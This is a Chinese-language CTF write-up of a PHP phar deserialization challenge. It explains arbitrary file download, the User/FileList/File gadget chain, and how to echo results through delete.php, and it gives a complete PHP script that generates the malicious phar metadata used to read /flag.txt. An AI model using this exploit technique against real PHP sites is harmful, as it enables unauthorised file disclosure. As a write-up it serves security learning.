这题考的是phar文件的应用,说到底是考的反序列化洞,我们不能一直指望有UNSERIALIZE这种明显的反序列化洞,于是phar就是一种替代选择
phar文件的细节可以看这一篇文章
https://xz.aliyun.com/t/2715
关于这题的wp个人觉得这篇写的很详细
https://www.jianshu.com/p/5b91e0b7f3ac
理清楚了应该不是啥难事
简单来说phar就是一种压缩文件格式,因此使用phar的先决条件是得有文件上传功能
phar漏洞的触发条件或者说出触发代码在manifest里的meta-data部分,payload一般都放在这里
ok,结合这题来看
一个登录框,有注册功能,首先想到的是存不存在二次注入,但是发现连回显点都没有,于是果断弃用
简简单单注册一个账号,发现存在文件上传,尝试直接上传一个shell.php,提示只有图片可以上传
尝试图片马,上传是没问题,但是没法利用。因为可能是被处理成了图片
下载的时候抓包看到filename参数可控,尝试下载点东西,尝试成功
按照我们现在抓到的包而言,已知的页面有upload.php,download.php,login.php,register.php,delete.php,阅读源码读到的其他类也下载下来
可以清楚的看到,在download.php页面里对flag进行了过滤,也就是说不能够直接读取flag文件
既然是反序列化的洞,先把调用链写在前面,触发点是形如$file->open()
或者$file->close()
之类的条件,只有这类函数才会触发我们payload里面的代码
在理逻辑之前先看一下总结好的链
User->_destruct => FileList->close() => FileList->_call('close') => File->close('/flag.txt') => $results=file_get_contents('flag.txt') => FileList->_destruct() => echo $result
主要有三个类,User,FileList,File,用到了两个魔法方法,__call()方法和__destruct()方法
再复习一遍,__call()方法在调用未定义的方法时触发
public function __destruct() {
$this->db->close();
}
假设$this->db是一个FileList对象,由于没有这样的方法。会去调用FileList的__call()方法
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
参数都没我们自己可控从前端传过来的,func是带过来的close方法。
这个call的逻辑是他在$files
列表的$file
找close方法
如果$file是一个File对象的话,那么下一步顺理成章地调用到了
File对象的close方法,顺理成章的调用到了file_get_contents,到这里其实已经结束了。
但是这样文件内容是获取到了,但是没有回显,那么怎么办呢,当然是找echo函数了,利用delete.php成功回显,于是成功输出flag
由于垃圾回收机制的存在,destruct函数会自动调用
其实这里源码审计应该是看到file_get_contents反着推的,这么看来出题者还是比较友好的,把要调用的类都写成一个class.php写好
payload生成:
<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
}
$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$o->db = new FileList();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
至于为什么不在download.php里面回显,因为
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);
这个页面里可以打开的file已经被限定在了特定目录下,所以不可操作
参考视频链接:https://www.bilibili.com/video/BV1Lb4y1W7oE/